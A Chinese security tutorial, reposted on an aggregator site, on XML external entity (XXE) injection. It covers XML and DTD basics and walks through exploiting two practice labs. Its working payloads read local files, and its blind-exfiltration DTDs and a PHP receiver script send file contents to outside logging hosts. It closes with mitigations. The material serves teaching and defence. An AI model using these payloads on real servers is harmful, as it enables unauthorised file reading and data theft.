web漏洞-xml外部实体注入(XXE)

news2024/9/25 9:38:24

web漏洞-xml外部实体注入（XXE）

目录

  • web漏洞-xml外部实体注入（XXE）
    • 概念
    • 危害
    • 检测方法
    • 利用方法
    • 漏洞利用
      • xxe-lab
        • 有回显情况
        • 无回显情况
      • pikachu靶场
        • 有回显内容
        • 无回显
    • 修复方案

概念

xml可拓展标记语言：

xml是一种可拓展的标记语言，可以用来存储数据，例如：我们经常看到一些.xml的文件；它还可以用来传输数据，我们可以直接将数据以xml的格式放在请求当中，发给服务器。

XML被设计为传输和存储数据，XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。

XXE外部实体注入：

XXE漏洞全称XML External Entity Injection，即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"，也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

XML和HTML的区别：

XML 与 HTML 的主要差异：

XML 被设计为传输和存储数据，其焦点是数据的内容。

HTML 被设计用来显示数据，其焦点是数据的外观。

HTML 旨在显示信息 ，而 XML 旨在传输信息。

第一部分：XML声明部分
<?xml version="1.0"?>

第二部分：文档类型定义 DTD
<!DOCTYPE note[
<!--定义此文档是note类型的文档-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!--外部实体声明-->
]]]>

第三部分：文档元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD（Document Type Definition，文档类型定义），用来为 XML 文档定义语法约束，可以是内部申明也可以使引用外部。

DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的，从而也就直接避免了这个漏洞。

内部申明DTD格式
<!DOCTYPE 根元素 [元素申明]>

外部引用DTD格式
<!DOCTYPE 根元素 SYSTEM "外部DTD的URI">

引用公共DTD格式
<!DOCTYPE 根元素 PUBLIC "DTD标识名" "公共DTD的URI">

DTD实体
（1）内部实体声明
<!ENTITY 实体名称 ”实体的值”>
（2）外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
（3）参数实体声明
<!ENTITY %实体名称 ”实体的值”>
<!ENTITY %实体名称 SYSTEM ”URI”>

危害

可造成文件读取

RCE执行

内网攻击

DOS攻击

…

检测方法

白盒：

1、观察函数以及可控变量的查找

2、观察传输和存储数据格式的类型

黑盒：

1、人工检测

（1）对数据格式类型进行判断

（2）content-type值判断

如：Content-Type：text/xml

或Content-type:application/xml

（3）更改content-type值观察返回信息

2、工具

利用方法

1、输出形式

（1）有回显

协议、外部引用

（2）无回显

外部引用-反向链接配合

无回显的XXE漏洞如何探测
（1）利用公网服务器，查看日志记录
（2）利用DNSLOG，查看访问记录
（3）利用CEYE.io带出数据进行查看

2、绕过过滤

（1）协议利用

（2）外部引用

（3）编码绕过

漏洞利用

xxe-lab

靶场搭建项目地址

搭建完成，打开进入环境：

有回显情况

image-20231009103228635

尝试登录，随便输入用户和密码，进行抓包分析数据

image-20231009103453071

发现请求头Content-type:application/xml

观察请求数据当中的格式包含XML格式

直接构造payload进行文件读取：

payload：
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY root SYSTEM  "file:///c:/windows/win.ini">
]>
<user><username>&root;</username><password>root</password></user>

成功读取：

image-20231009104111994

界面效果：

image-20231009104322849

可以使用其他支持的协议进行读取
file：///                   #file协议读取文件
http://url/file.txt         #http协议读取站点下的文件
php://filter                #文件流形式读取php文件

以base64编码的方式读取：

image-20231009105010939

解码还原：

image-20231009105029759

无回显情况

将输出的回显代码进行注释：

image-20231009111030401

使用dnslog外带测试：

payload：
<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://psyz46.dnslog.cn">
    %file;
]>
<user><username>root</username><password>root</password></user>

内容出现报错信息，回看dnslog处是否有回显：

image-20231009112522272

dnslog处回显信息：

image-20231009112615757

也可以使用ceye.io进行外带

payload：
<?xml version="1.0" ?>
<!DOCTYPE root [
    <!ENTITY % file SYSTEM "http://vbdpkn.ceye.io">
    %file;
]>
<user><username>root</username><password>root</password></user>

查看结果：

image-20231009165738316

构造payload进行读取文件：

hack.dtd文件内容：
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c://windows//win.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://vbdpkn.ceye.io?p=%file;'>">

payload：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://127.0.0.1/hack.dtd">
%remote;%int;%send;%file;
]>

成功带出数据：

image-20231009194407943

image-20231009200638844

进行解密：

image-20231009194738720

方法二：

以生成文件的方式，进行读取

首先写一个生成并写入文件的脚本代码：

getfile.php放在用于接收数据的服务器上用于接受数据并保存为文件

<?php
$data=$_GET['file'];
$getfile=fopen("file.txt","w");
fwrite($getfile,$data);
fclose($getfile);
?>

hack.dtd用于将读取到得数据赋值给getfile.php

<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip/getfile.php?file=%file;'>">

payload：

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c://windows//win.ini">
<!ENTITY % remote SYSTEM "http://127.0.0.1/hack.dtd">
%remote;
%all;
]>

<root>&send;</root>

image-20231009211002031

ps：

在进行文件读取的时候，有些文件中带有空格，在将数据赋值给getfile.php文件时,get方法传参会将数据错误识别，不能正常外带出来数据信息内容，这时可以协议进行操作，可使用php://filter协议，使用base64编码以数据流得形式读取文件。

点击执行过后，在网站的根目录下，成功生成file.txt文件

image-20231009210854885

查看文件的内容，为base64编码，解码即可：

image-20231009211038456

解码后：

image-20231009211108443

pikachu靶场

进入环境，测试回显：

payload：
<?xml version="1.0"?> 
<!DOCTYPE ANY [    
<!ENTITY xxe "rumilc" > ]>
<a>&xxe;</a>
有回显内容

image-20231009105910985

读取文件：

payload：
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]><a>&xxe;</a>

image-20231009105755835

无回显

无回显方式的理由和xxe-lab利用方式基本相同。

dnslog回显测试:
<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://vbdpkn.ceye.io">
    %file;
]>

通过外部实体注入test.dtd
test.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c://windows//win.ini">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://vbdpkn.ceye.io/?p=%file;'>">

//&#x25;  %的实体编码

payload：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://127.0.0.1/hack.dtd">
%remote;%int;%send;%file;
]>

成功带了出来：

image-20231009212312828

base64解密即可。

修复方案

#xxe漏洞修复与防御方案-php,java,python-过滤及禁用
#方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python：
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

#方案2-过滤用户提交的XML数据
过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1074504.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

面试经典 150 题 14 —（数组 / 字符串）— 134. 加油站

面试经典 150 题 14 —（数组 / 字符串）— 134. 加油站

134. 加油站 方法一 class Solution { public:int canCompleteCircuit(vector<int>& gas, vector<int>& cost) {int minSpare std::numeric_limits<int>::max(); // 初始化最小剩余汽油量为整型的最大值int spare 0; // 当前剩余汽油量int len g…
阅读更多...
NSSCTF做题（7）

NSSCTF做题（7）

[第五空间 2021]pklovecloud 反序列化 <?php include flag.php; class pkshow { function echo_name() { return "Pk very safe^.^"; } } class acp { protected $cinder; public $neutron; …
阅读更多...
基于Softmax回归的多分类任务

基于Softmax回归的多分类任务

Logistic回归可以有效地解决二分类问题&#xff0c;但在分类任务中&#xff0c;还有一类多分类问题&#xff0c;即类别数C大于2 的分类问题。Softmax回归就是Logistic回归在多分类问题上的推广。 使用Softmax回归模型对一个简单的数据集进行多分类实验。 首先给大家看一下需要的…
阅读更多...
【SpringCloud】Ribbon负载均衡原理、负载均衡策略、饥饿加载

【SpringCloud】Ribbon负载均衡原理、负载均衡策略、饥饿加载

&#x1f40c;个人主页&#xff1a; &#x1f40c; 叶落闲庭 &#x1f4a8;我的专栏&#xff1a;&#x1f4a8; c语言 数据结构 javaEE 操作系统 Redis 石可破也&#xff0c;而不可夺坚&#xff1b;丹可磨也&#xff0c;而不可夺赤。 Ribbon 一、 Ribbon负载均衡原理1.1 负载均…
阅读更多...
4.springcloudalibaba sentinel v1.8.6版本服务搭建

4.springcloudalibaba sentinel v1.8.6版本服务搭建

文章目录 前言一、sentinel服务端安装1.1 服务端下载1.2 启动sentinel服务 二、客户端使用sentinel2.1.pom增加sentinel包2.2 增加配置2.3 启动服务 三、验证3.1 给hello接口增加流控规则3.2 测试结果如下 总结 前言 前面完成了gateway项目部署并且测试&#xff0c;现在部署搭…
阅读更多...
【ONE·C++ || 异常】

【ONE·C++ || 异常】

总言 主要介绍异常。 文章目录 总言1、C异常1.1、C语言传统的处理错误的方式1.2、异常概念1.3、异常的基本用法1.3.1、异常的抛出和捕获1.3.1.1、异常的抛出和匹配原则1.3.1.2、 在函数调用链中异常栈展开匹配原则 1.3.2、异常的重新抛出1.3.2.1、演示一1.3.2.2、演示二 1.3.3…
阅读更多...
滑动窗口算法技巧

滑动窗口算法技巧

大家好&#xff0c;我是 方圆。在我刷了一些滑动窗口相关的题目之后&#xff0c;发现很有技巧性&#xff0c;只要掌握了解题思路&#xff0c;就会很简单&#xff0c;所以我决定用这篇帖子记录一下&#xff0c;也帮助同样在刷滑动窗口相关题目的同学。 使用滑动窗口解决的问题一…
阅读更多...
PADS规则设置

PADS规则设置

一&#xff0e;设置类规则(DRC检测规则) 默认所有类规则设置网络属性分类设置 网络属性附着颜色 选择电源类在DDR中设置非常实用 创建组合 方便模块整旋转移动 二,元件组合 选择组合 旋转组合 CtrlR旋转90&#xff1b;双击旋转任意角度 拆开组合(还独立元件操作) 三,设置过孔…
阅读更多...
【java学习】多维数组（10）

【java学习】多维数组（10）

文章目录 1. 二维数组 1. 二维数组 二维数组[][]&#xff1a;数组中的数组 格式1&#xff08;动态初始化&#xff09;&#xff1a;int[][] arr new int[3][2]; 解释说明&#xff1a; 定义了名称为arr的二维数组二维数组中有3个一维数组每个一维数组中有2个元素一维数组的名称…
阅读更多...
教资面试多烂才不合格 教师资格证面试难度分析

教资面试多烂才不合格 教师资格证面试难度分析

教资面试是否合格&#xff0c;主要取决于考生的表现是否符合教师职业要求和教育教学能力。以下是一些可能导致教资面试不合格的表现&#xff1a; 对教育事业缺乏热情&#xff0c;对所教授的学科不感兴趣&#xff0c;或者对教育工作没有正确的认知。 对学生的关注不足&#xf…
阅读更多...
C++学习day3

C++学习day3

目录 作业&#xff1a; 1> 思维导图 2>设计一个Per类&#xff0c;类中包含私有成员:姓名、年龄、指针成员身高、体重&#xff0c;再设计一个Stu类&#xff0c;类中包含私有成员:成绩、Per类对象p1&#xff0c;设计这两个类的构造函数、析构函数和拷贝构造函数。 效果图…
阅读更多...
【ICer的脚本练习】shell的三剑客：grep/sed/awk

【ICer的脚本练习】shell的三剑客：grep/sed/awk

系列的目录说明请见：ICer的脚本练习专栏介绍与全流程目录_尼德兰的喵的博客-CSDN博客 前言 大大小小的脚本我们写了几个了，在上一篇我们借助bashrc简单了解了bash语言的一些语法和组织规则。这一篇呢我们还是回到shell简单看下三个常用命令，毕竟脚本也可以视为复杂的命令尤…
阅读更多...
c++运算符

c++运算符

文章目录 运算符位运算符类型转换 运算符 #include<iostream> using namespace std;int main() {// 算术运算符cout << "1 2 " << 1 2 << endl; cout << "1 2 - 3 * 4 " << 1 2 - 3 * 4 << endl;short a…
阅读更多...
mfoc-hardnested在visual studio2022编译

mfoc-hardnested在visual studio2022编译

1、点击mfoc-hardnested.sln 2、没有clang LLVM (clang-cl) (未安装) 打开installer 点击修改: 单个组件中搜索clang &#xff0c;安装即可 3、编译 4、main函数 5、mfoc-hardnested.exe使用
阅读更多...
v-on事件处理指令；简写@事件名

v-on事件处理指令；简写@事件名

一、v-on 给元素&#xff08;标签&#xff09;绑定事件监听器 oninput、onclick、onchange、onblur等 1、 完整方式v-on:事件名“函数/方法” 2、简写方式事件名“函数/方法”&#xff0c;注意符号不能加冒号“&#xff1a;” input /click/change/blur ..... 代码如下&#xf…
阅读更多...
为什么不建议使用SELECT * ？

为什么不建议使用SELECT * ？

“不要使用SELECT ”几乎已经成为数据库使用的一条金科玉律&#xff0c;就连很多公司也明确表示不得使用作为查询的字段列表&#xff0c;更是让这条规则拥有了权威的加持。 为什么不建议直接使用SELECT *&#xff1f;我们总得搞清楚这其中的原因吧&#xff0c;不要别人说不建议…
阅读更多...
vue3 组件v-model绑定props里的值，修改组件的值要触发回调

vue3 组件v-model绑定props里的值，修改组件的值要触发回调

很早之前就写了&#xff0c;一直没写篇博客记录下 <select v-model"typeVal" />const emit defineEmits([update:type]); const props defineProps({type: { type: String, default: }, });const typeVal computed({get() {return props.type;},set(value…
阅读更多...
Flutter：open_file打开本地文件报错问题

Flutter：open_file打开本地文件报错问题

相关插件及版本&#xff1a; open_file: ^3.2.1 问题&#xff1a; 项目中一直用的这个插件&#xff0c;突然发现在安卓高版本不能正常使用&#xff0c;报权限问题permissionDenied&#xff0c;断点调试提示相关权限是MANAGE_EXTERNAL_STORAGE&#xff0c;申请权限之后还是不行&…
阅读更多...
PDF有限制不能复制怎么办？

PDF有限制不能复制怎么办？

大家现在接触PDF文件越来越多&#xff0c;有的时候在网上下载的PDF文件打开之后&#xff0c;发现选中文字之后无法复制。甚至其他功能也都无法使用&#xff0c;这是怎么回事&#xff1f;该怎么办&#xff1f; 当我们发现文件打开之后&#xff0c;编辑功能无法使用&#xff0c;很…
阅读更多...
探索视觉系统工作原理，聚焦机器人应用“新视界”

探索视觉系统工作原理，聚焦机器人应用“新视界”

原创 | 文 BFT机器人 01 视觉系统&#xff1a;机器人的“眼睛” 视觉系统是一个非常复杂的系统&#xff0c;包括照明系统、镜头、摄像系统和图像处理系统。机器视觉系统主要由三部分组成&#xff1a;图像的获取、图像的处理和分析、输出或显示。 从功能上看&#xff0c;典型的…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023